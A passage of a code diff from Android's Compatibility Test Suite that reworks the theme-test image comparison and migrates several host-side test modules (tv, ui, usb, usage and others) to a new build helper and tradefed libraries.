+++ b/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
@@ -18,6 +18,7 @@
 
 import com.android.ddmlib.Log;
 import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.util.Pair;
 
 import java.awt.Color;
 import java.awt.image.BufferedImage;
@@ -31,30 +32,35 @@
 /**
  * Compares the images generated by the device with the reference images.
  */
-public class ComparisonTask implements Callable<File> {
+public class ComparisonTask implements Callable<Pair<String, File>> {
     private static final String TAG = "ComparisonTask";
 
-    private static final int IMAGE_THRESHOLD = 2;
+    private static final int IMAGE_THRESHOLD = 8;
+
+    /** Neutral gray for blending colors. */
+    private static final int GRAY = 0xFF808080;
 
     /** Maximum allowable number of consecutive failed pixels. */
     private static final int MAX_CONSECUTIVE_FAILURES = 1;
 
+    private final String mName;
     private final File mExpected;
     private final File mActual;
 
-    public ComparisonTask(File expected, File actual) {
+    public ComparisonTask(String name, File expected, File actual) {
+        mName = name;
         mExpected = expected;
         mActual = actual;
     }
 
-    public File call() {
+    public Pair<String, File> call() {
         try {
             final BufferedImage expected = ImageIO.read(mExpected);
             final BufferedImage actual = ImageIO.read(mActual);
             if (!compare(expected, actual, IMAGE_THRESHOLD)) {
                 final File diff = File.createTempFile("diff_" + mExpected.getName(), ".png");
                 createDiff(expected, actual, diff);
-                return diff;
+                return new Pair<>(mName, diff);
             }
         } catch (IOException e) {
             Log.logAndDisplay(LogLevel.ERROR, TAG, e.toString());
@@ -64,15 +70,6 @@
         return null;
     }
 
-    /**
-     * Verifies that the pixels of reference and generated images are similar
-     * within a specified threshold.
-     *
-     * @param expected expected image
-     * @param actual actual image
-     * @param threshold maximum difference per channel
-     * @return {@code true} if the images are similar, false otherwise
-     */
     private static int getAlphaScaledBlue(final int color) {
         return (color & 0x000000FF) * getAlpha(color) / 255;
     }
@@ -90,13 +87,25 @@
         return (color & 0xFF000000) >>> 24;
     }
 
-    private static boolean compare(BufferedImage reference, BufferedImage generated, int threshold) {
+
+    /**
+     * Verifies that the pixels of reference and generated images are similar
+     * within a specified threshold.
+     *
+     * @param reference expected image
+     * @param generated actual image
+     * @param threshold maximum difference per channel
+     * @return {@code true} if the images are similar, false otherwise
+     */
+    private static boolean compare(BufferedImage reference, BufferedImage generated,
+            int threshold) {
         final int w = generated.getWidth();
         final int h = generated.getHeight();
         if (w != reference.getWidth() || h != reference.getHeight()) {
             return false;
         }
 
+        double maxDist = 0;
         for (int i = 0; i < w; i++) {
             int consecutive = 0;
 
@@ -109,11 +118,14 @@
                 final int db = getAlphaScaledBlue(p1) - getAlphaScaledBlue(p2);
 
                 if (Math.abs(db) > threshold ||
-                        Math.abs(dg) > threshold ||
-                        Math.abs(dr) > threshold) {
+                    Math.abs(dg) > threshold ||
+                    Math.abs(dr) > threshold) {
+                    System.err.println("fail dr=" + dr+ " dg=" + dg+ " db=" + db);
+
                     consecutive++;
 
                     if (consecutive > MAX_CONSECUTIVE_FAILURES) {
+                        System.err.println("consecutive fail");
                         return false;
                     }
                 } else {
@@ -124,6 +136,30 @@
         return true;
     }
 
+    /**
+     * Returns the perceptual difference score (lower is better) for the
+     * provided ARGB pixels.
+     */
+    private static double computeLabDistance(int p1, int p2) {
+        // Blend with neutral gray to account for opacity.
+        p1 = ColorUtils.blendSrcOver(p1, GRAY);
+        p2 = ColorUtils.blendSrcOver(p2, GRAY);
+
+        // Convert to LAB.
+        double[] lab1 = new double[3];
+        double[] lab2 = new double[3];
+        ColorUtils.colorToLAB(p1, lab1);
+        ColorUtils.colorToLAB(p2, lab2);
+
+        // Compute the distance
+        double dist = 0;
+        for (int i = 0; i < 3; i++) {
+            double delta = lab1[i] - lab2[i];
+            dist += delta * delta;
+        }
+        return Math.sqrt(dist);
+    }
+
     private static void createDiff(BufferedImage expected, BufferedImage actual, File out)
             throws IOException {
         final int w1 = expected.getWidth();
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index eb2cb80..1c2f949 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -16,27 +16,28 @@
 
 package android.theme.cts;
 
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.ddmlib.Log.LogLevel;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.result.LogDataType;
+import com.android.tradefed.result.LogFileSaver;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
+import com.android.tradefed.util.Pair;
 
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
-import java.util.ArrayList;
 import java.util.HashMap;
-import java.util.List;
 import java.util.Map;
 import java.util.concurrent.ExecutorCompletionService;
 import java.util.concurrent.ExecutorService;
@@ -46,7 +47,6 @@
 import java.util.regex.Pattern;
 import java.util.zip.ZipEntry;
 import java.util.zip.ZipInputStream;
-import java.util.zip.ZipOutputStream;
 
 /**
  * Test to check non-modifiable themes have not been changed.
@@ -92,7 +92,12 @@
 
     private ExecutorService mExecutionService;
 
-    private ExecutorCompletionService<File> mCompletionService;
+    private ExecutorCompletionService<Pair<String, File>> mCompletionService;
+
+    /** the string identifying the hardware type. */
+    private String mHardwareType;
+
+    private LogFileSaver mDiffsFileSaver;
 
     @Override
     public void setAbi(IAbi abi) {
@@ -110,15 +115,19 @@
 
         mDevice = getDevice();
         mDevice.uninstallPackage(APP_PACKAGE_NAME);
+        mHardwareType = mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim();
 
-        // Get the APK from the build.
-        final File app = MigrationHelper.getTestFile(mBuildInfo, String.format("%s.apk", APK_NAME));
-        final String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
-        mDevice.installPackage(app, true, true, options);
+        final CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
+        final File diffsDir = new File(buildHelper.getResultDir(), "diffs");
+        mDiffsFileSaver = new LogFileSaver(diffsDir);
 
-        final String density = getDensityBucketForDevice(mDevice);
-        final String zipFile = String.format("/%s.zip", density);
-        mReferences = extractReferenceImages(zipFile);
+        final File testApk = buildHelper.getTestFile(String.format("%s.apk", APK_NAME));
+        final String abiFlag = AbiUtils.createAbiFlag(mAbi.getName());
+        mDevice.installPackage(testApk, true, true, abiFlag);
+
+        final String density = getDensityBucketForDevice(mDevice, mHardwareType);
+        final String referenceZipAssetPath = String.format("/%s.zip", density);
+        mReferences = extractReferenceImages(referenceZipAssetPath);
 
         final int numCores = Runtime.getRuntime().availableProcessors();
         mExecutionService = Executors.newFixedThreadPool(numCores * 2);
@@ -130,27 +139,25 @@
         final InputStream zipStream = ThemeHostTest.class.getResourceAsStream(zipFile);
         if (zipStream != null) {
             try (ZipInputStream in = new ZipInputStream(zipStream)) {
-                ZipEntry ze;
                 final byte[] buffer = new byte[1024];
-                while ((ze = in.getNextEntry()) != null) {
+                for (ZipEntry ze; (ze = in.getNextEntry()) != null; ) {
                     final String name = ze.getName();
                     final File tmp = File.createTempFile("ref_" + name, ".png");
-                    final FileOutputStream out = new FileOutputStream(tmp);
+                    tmp.deleteOnExit();
 
-                    int count;
-                    while ((count = in.read(buffer)) != -1) {
-                        out.write(buffer, 0, count);
+                    try (FileOutputStream out = new FileOutputStream(tmp)) {
+                        for (int count; (count = in.read(buffer)) != -1; ) {
+                            out.write(buffer, 0, count);
+                        }
                     }
 
-                    out.flush();
-                    out.close();
                     references.put(name, tmp);
                 }
             } catch (IOException e) {
                 fail("Failed to unzip assets: " + zipFile);
             }
         } else {
-            if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
+            if (checkHardwareTypeSkipTest(mHardwareType)) {
                 Log.logAndDisplay(LogLevel.WARN, LOG_TAG,
                         "Could not obtain resources for skipped themes test: " + zipFile);
             } else {
@@ -163,9 +170,6 @@
 
     @Override
     protected void tearDown() throws Exception {
-        // Delete the temp files
-        mReferences.values().forEach(File::delete);
-
         mExecutionService.shutdown();
 
         // Remove the APK.
@@ -178,8 +182,8 @@
     }
 
     public void testThemes() throws Exception {
-        if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
-            Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch");
+        if (checkHardwareTypeSkipTest(mHardwareType)) {
+            Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV");
             return;
         }
 
@@ -198,23 +202,17 @@
 
         final int numTasks = extractGeneratedImages(localZip, mReferences);
 
-        final List<File> failures = new ArrayList<>();
+        int failureCount = 0;
         for (int i = numTasks; i > 0; i--) {
-            final File comparison = mCompletionService.take().get();
+            final Pair<String, File> comparison = mCompletionService.take().get();
             if (comparison != null) {
-                failures.add(comparison);
+                try (InputStream inputStream = new FileInputStream(comparison.second)) {
+                    mDiffsFileSaver.saveLogData(comparison.first, LogDataType.PNG, inputStream);
+                }
+                failureCount++;
             }
         }
 
-        // Generate ZIP file from failure output.
-        final int failureCount = failures.size();
-        if (failureCount != 0) {
-            final File failuresZip = File.createTempFile("failures", ".zip");
-            compressFiles(failures, failuresZip, true);
-            Log.logAndDisplay(LogLevel.INFO, LOG_TAG,
-                    "Wrote " + failureCount+ " failures to file:" + failuresZip.getPath());
-        }
-
         assertTrue(failureCount + " failures in theme test", failureCount == 0);
     }
 
@@ -225,23 +223,21 @@
         // Extract generated images to temporary files.
         final byte[] data = new byte[8192];
         try (ZipInputStream zipInput = new ZipInputStream(new FileInputStream(localZip))) {
-            ZipEntry entry;
-            while ((entry = zipInput.getNextEntry()) != null) {
+            for (ZipEntry entry; (entry = zipInput.getNextEntry()) != null; ) {
                 final String name = entry.getName();
                 final File expected = references.get(name);
                 if (expected != null && expected.exists()) {
                     final File actual = File.createTempFile("actual_" + name, ".png");
-                    final FileOutputStream pngOutput = new FileOutputStream(actual);
+                    actual.deleteOnExit();
 
-                    int count;
-                    while ((count = zipInput.read(data, 0, data.length)) != -1) {
-                        pngOutput.write(data, 0, count);
+                    try (FileOutputStream pngOutput = new FileOutputStream(actual)) {
+                        for (int count; (count = zipInput.read(data, 0, data.length)) != -1; ) {
+                            pngOutput.write(data, 0, count);
+                        }
                     }
 
-                    pngOutput.flush();
-                    pngOutput.close();
-
-                    mCompletionService.submit(new ComparisonTask(expected, actual));
+                    final String shortName = name.substring(0, name.indexOf('.'));
+                    mCompletionService.submit(new ComparisonTask(shortName, expected, actual));
                     numTasks++;
                 } else {
                     Log.logAndDisplay(LogLevel.INFO, LOG_TAG,
@@ -255,40 +251,6 @@
         return numTasks;
     }
 
-    /**
-     * Compresses a list of files to a ZIP file.
-     *
-     * @param files the files to compress
-     * @param outFile the output file
-     * @param remove {@code true} to remove files after compressing them or
-     *               {@code false} to leave them alone
-     */
-    public static void compressFiles(List<File> files, File outFile, boolean remove)
-            throws IOException {
-        final ZipOutputStream zipOut = new ZipOutputStream(new FileOutputStream(outFile));
-        final byte[] data = new byte[4096];
-        for (File file : files) {
-            final FileInputStream fileIn = new FileInputStream(file);
-            final ZipEntry entry = new ZipEntry(file.getName());
-            zipOut.putNextEntry(entry);
-
-            int count;
-            while ((count = fileIn.read(data, 0, data.length)) != -1) {
-                zipOut.write(data, 0, count);
-                zipOut.flush();
-            }
-
-            zipOut.closeEntry();
-            fileIn.close();
-
-            if (remove) {
-                file.delete();
-            }
-        }
-
-        zipOut.close();
-    }
-
     private boolean generateDeviceImages() throws Exception {
         // Stop any existing instances.
         mDevice.executeShellCommand(STOP_CMD);
@@ -301,14 +263,17 @@
         return receiver.getOutput().contains("OK ");
     }
 
-    private static String getDensityBucketForDevice(ITestDevice device) {
+    private static String getDensityBucketForDevice(ITestDevice device, String hardwareType) {
+        if (hardwareType.contains("android.hardware.type.television")) {
+            // references images for tv are under bucket "tvdpi".
+            return "tvdpi";
+        }
         final int density;
         try {
             density = getDensityForDevice(device);
         } catch (DeviceNotAvailableException e) {
             throw new RuntimeException("Failed to detect device density", e);
         }
-
         final String bucket;
         switch (density) {
             case 120:
@@ -317,9 +282,6 @@
             case 160:
                 bucket = "mdpi";
                 break;
-            case 213:
-                bucket = "tvdpi";
-                break;
             case 240:
                 bucket = "hdpi";
                 break;
diff --git a/hostsidetests/trustedvoice/Android.mk b/hostsidetests/trustedvoice/Android.mk
index 9d6237f..d80f725 100644
--- a/hostsidetests/trustedvoice/Android.mk
+++ b/hostsidetests/trustedvoice/Android.mk
@@ -23,7 +23,7 @@
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsTrustedVoiceHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed ddmlib-prebuilt tradefed-prebuilt
+LOCAL_JAVA_LIBRARIES := cts-tradefed ddmlib-prebuilt tradefed
 
 LOCAL_CTS_TEST_PACKAGE := android.host.trustedvoice
 
diff --git a/hostsidetests/trustedvoice/AndroidTest.xml b/hostsidetests/trustedvoice/AndroidTest.xml
index 835db65..3e23236 100644
--- a/hostsidetests/trustedvoice/AndroidTest.xml
+++ b/hostsidetests/trustedvoice/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Trustedvoice host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTrustedVoiceApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsTrustedVoiceHostTestCases.jar" />
+        <option name="runtime-hint" value="12m" />
     </test>
 </configuration>
diff --git a/hostsidetests/tv/Android.mk b/hostsidetests/tv/Android.mk
index bb5795b..cb5e2bd 100644
--- a/hostsidetests/tv/Android.mk
+++ b/hostsidetests/tv/Android.mk
@@ -21,9 +21,7 @@
 
 LOCAL_MODULE := CtsHostsideTvTests
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 LOCAL_CTS_TEST_PACKAGE := android.tv.hostsidetv
 
diff --git a/hostsidetests/tv/AndroidTest.xml b/hostsidetests/tv/AndroidTest.xml
index c3064eb..d9edad0 100644
--- a/hostsidetests/tv/AndroidTest.xml
+++ b/hostsidetests/tv/AndroidTest.xml
@@ -14,7 +14,9 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS tv host test cases">
+    <option name="config-descriptor:metadata" key="component" value="tv" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsHostsideTvTests.jar" />
+        <option name="runtime-hint" value="8m10s" />
     </test>
 </configuration>
diff --git a/hostsidetests/tv/app/Android.mk b/hostsidetests/tv/app/Android.mk
index 3235244..454d352 100644
--- a/hostsidetests/tv/app/Android.mk
+++ b/hostsidetests/tv/app/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/tv/app2/Android.mk b/hostsidetests/tv/app2/Android.mk
index a0dcab2..166baec 100644
--- a/hostsidetests/tv/app2/Android.mk
+++ b/hostsidetests/tv/app2/Android.mk
@@ -31,7 +31,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/tv/src/com/android/cts/tv/TvInputManagerHostTest.java b/hostsidetests/tv/src/com/android/cts/tv/TvInputManagerHostTest.java
index fe917ae..3cb6a0ec 100644
--- a/hostsidetests/tv/src/com/android/cts/tv/TvInputManagerHostTest.java
+++ b/hostsidetests/tv/src/com/android/cts/tv/TvInputManagerHostTest.java
@@ -16,9 +16,8 @@
 
 package com.android.cts.tv;
 
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log.LogLevel;
-import com.android.compatibility.common.util.VersionCodes;
-import com.android.cts.migration.MigrationHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
@@ -51,8 +50,8 @@
 
     private void installPackage(String apk) throws FileNotFoundException,
             DeviceNotAvailableException {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuildInfo, apk), true));
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuildInfo);
+        assertNull(getDevice().installPackage(buildHelper.getTestFile(apk), true));
     }
 
     private void uninstallPackage(String packageName, boolean shouldSucceed)
diff --git a/hostsidetests/tzdata/Android.mk b/hostsidetests/tzdata/Android.mk
index f7cafd9..3cee8b5 100644
--- a/hostsidetests/tzdata/Android.mk
+++ b/hostsidetests/tzdata/Android.mk
@@ -21,9 +21,9 @@
 
 LOCAL_MODULE := CtsHostTzDataTests
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
+LOCAL_JAVA_LIBRARIES := tradefed
 
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib tzdata-testing-host time_zone_distro-host time_zone_distro_tools-host
+LOCAL_STATIC_JAVA_LIBRARIES := tzdata-testing-host time_zone_distro-host time_zone_distro_tools-host
 
 LOCAL_CTS_TEST_PACKAGE := android.host.tzdata
 
diff --git a/hostsidetests/ui/Android.mk b/hostsidetests/ui/Android.mk
index 7060bdf..e2457c5 100644
--- a/hostsidetests/ui/Android.mk
+++ b/hostsidetests/ui/Android.mk
@@ -22,9 +22,7 @@
 
 LOCAL_MODULE := CtsUiHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
 
diff --git a/hostsidetests/ui/AndroidTest.xml b/hostsidetests/ui/AndroidTest.xml
index 7d17e2b..9aaf7a4 100644
--- a/hostsidetests/ui/AndroidTest.xml
+++ b/hostsidetests/ui/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS UI host test cases">
+    <option name="config-descriptor:metadata" key="component" value="misc" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsUiHostTestCases.jar" />
         <option name="runtime-hint" value="2m" />
diff --git a/hostsidetests/ui/appA/Android.mk b/hostsidetests/ui/appA/Android.mk
index e3d458b..2d94543 100644
--- a/hostsidetests/ui/appA/Android.mk
+++ b/hostsidetests/ui/appA/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/ui/appB/Android.mk b/hostsidetests/ui/appB/Android.mk
index c7642fd..24108ca 100644
--- a/hostsidetests/ui/appB/Android.mk
+++ b/hostsidetests/ui/appB/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/ui/control/Android.mk b/hostsidetests/ui/control/Android.mk
index 5365a6f..fa63c59 100644
--- a/hostsidetests/ui/control/Android.mk
+++ b/hostsidetests/ui/control/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java b/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java
index 358e1ac..6b99c20 100644
--- a/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java
+++ b/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java
@@ -25,7 +25,7 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 
-import android.cts.util.CtsAndroidTestCase;
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.MeasureRun;
diff --git a/hostsidetests/ui/src/android/ui/cts/InstallTimeTest.java b/hostsidetests/ui/src/android/ui/cts/InstallTimeTest.java
index ee9e7c6..1b49eca 100644
--- a/hostsidetests/ui/src/android/ui/cts/InstallTimeTest.java
+++ b/hostsidetests/ui/src/android/ui/cts/InstallTimeTest.java
@@ -16,14 +16,13 @@
 
 package android.ui.cts;
 
-import com.android.compatibility.common.util.AbiUtils;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.util.MeasureRun;
 import com.android.compatibility.common.util.MeasureTime;
 import com.android.compatibility.common.util.MetricsReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 import com.android.compatibility.common.util.Stat;
-import com.android.cts.migration.MigrationHelper;
 import com.android.ddmlib.Log;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.build.IBuildInfo;
@@ -32,6 +31,7 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
 
 import java.io.File;
 
@@ -78,7 +78,7 @@
                 String.format("%s#%s", getClass().getName(), "testInstallTime"), REPORT_LOG_NAME,
                 streamName);
         final int NUMBER_REPEAT = 10;
-        final IBuildInfo build = mBuild;
+        final CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
         final ITestDevice device = mDevice;
         double[] result = MeasureTime.measure(NUMBER_REPEAT, new MeasureRun() {
             @Override
@@ -87,7 +87,7 @@
             }
             @Override
             public void run(int i) throws Exception {
-                File app = MigrationHelper.getTestFile(build, APK);
+                File app = buildHelper.getTestFile(APK);
                 String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
                 device.installPackage(app, false, options);
             }
diff --git a/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java b/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java
index 409264e..9cfd957 100644
--- a/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java
+++ b/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java
@@ -16,10 +16,9 @@
 
 package android.ui.cts;
 
-import com.android.compatibility.common.util.AbiUtils;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.util.MetricsStore;
 import com.android.compatibility.common.util.ReportLog;
-import com.android.cts.migration.MigrationHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestIdentifier;
 import com.android.ddmlib.testrunner.TestRunResult;
@@ -30,6 +29,7 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
 
 import org.xmlpull.v1.XmlPullParserException;
 
@@ -77,9 +77,10 @@
         super.setUp();
         mDevice = getDevice();
         String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
         for (int i = 0; i < PACKAGES.length; i++) {
             mDevice.uninstallPackage(PACKAGES[i]);
-            File app = MigrationHelper.getTestFile(mBuild, APKS[i]);
+            File app = buildHelper.getTestFile(APKS[i]);
             mDevice.installPackage(app, false, options);
         }
     }
diff --git a/hostsidetests/usage/Android.mk b/hostsidetests/usage/Android.mk
index 72b9473..482ba91 100644
--- a/hostsidetests/usage/Android.mk
+++ b/hostsidetests/usage/Android.mk
@@ -21,7 +21,7 @@
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsAppUsageHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
 
 LOCAL_CTS_TEST_PACKAGE := android.host.app.usage
 
diff --git a/hostsidetests/usage/AndroidTest.xml b/hostsidetests/usage/AndroidTest.xml
index bba2748..6dd8e6f 100644
--- a/hostsidetests/usage/AndroidTest.xml
+++ b/hostsidetests/usage/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS App Usage host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAppUsageTestApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsAppUsageHostTestCases.jar" />
+        <option name="runtime-hint" value="8m" />
     </test>
 </configuration>
diff --git a/hostsidetests/usb/Android.mk b/hostsidetests/usb/Android.mk
index a96c5d8..bc98445 100644
--- a/hostsidetests/usb/Android.mk
+++ b/hostsidetests/usb/Android.mk
@@ -21,9 +21,7 @@
 
 LOCAL_MODULE := CtsUsbTests
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 LOCAL_CTS_TEST_PACKAGE := android.usb
 
diff --git a/hostsidetests/usb/AndroidTest.xml b/hostsidetests/usb/AndroidTest.xml
index 013e97f..cfdcaea 100644
--- a/hostsidetests/usb/AndroidTest.xml
+++ b/hostsidetests/usb/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS USB host test cases">
+    <option name="config-descriptor:metadata" key="component" value="misc" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsUsbTests.jar" />
     </test>
diff --git a/hostsidetests/usb/SerialTestApp/Android.mk b/hostsidetests/usb/SerialTestApp/Android.mk
index ec15199..f71c7f4 100644
--- a/hostsidetests/usb/SerialTestApp/Android.mk
+++ b/hostsidetests/usb/SerialTestApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 5377711..81cc265 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -15,8 +15,7 @@
  */
 package com.android.cts.usb;
 
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestRunResult;
 import com.android.tradefed.build.IBuildInfo;
@@ -27,6 +26,7 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.CommandResult;
 import com.android.tradefed.util.CommandStatus;
 import com.android.tradefed.util.RunUtil;
@@ -62,7 +62,8 @@
         super.setUp();
         mDevice = getDevice();
         mDevice.uninstallPackage(PACKAGE_NAME);
-        File app = MigrationHelper.getTestFile(mBuild, APK_NAME);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
+        File app = buildHelper.getTestFile(APK_NAME);
